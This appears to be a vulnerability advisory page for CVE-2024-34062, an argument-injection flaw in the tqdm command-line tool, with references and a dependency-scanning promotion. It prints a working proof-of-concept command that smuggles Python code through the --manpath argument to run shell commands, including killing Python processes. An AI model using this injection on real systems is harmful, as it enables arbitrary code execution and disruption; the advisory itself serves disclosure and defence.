CVE-2024-34062: tqdm CLI arguments injection attack

May 3, 2024

Any optional non-boolean CLI arguments (e.g. --delim, --buf-size, --manpath) are passed through python’s eval, allowing arbitrary code execution. Example:

python -m tqdm --manpath="\" + str(exec(\"import os\nos.system('echo hi && killall python3')\")) + \""

References

github.com/advisories/GHSA-g7vv-2v7x-gj9p
github.com/tqdm/tqdm
github.com/tqdm/tqdm/commit/4e613f84ed2ae029559f539464df83fa91feb316
github.com/tqdm/tqdm/security/advisories/GHSA-g7vv-2v7x-gj9p
nvd.nist.gov/vuln/detail/CVE-2024-34062

Code Behaviors & Features

Detect and mitigate CVE-2024-34062 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →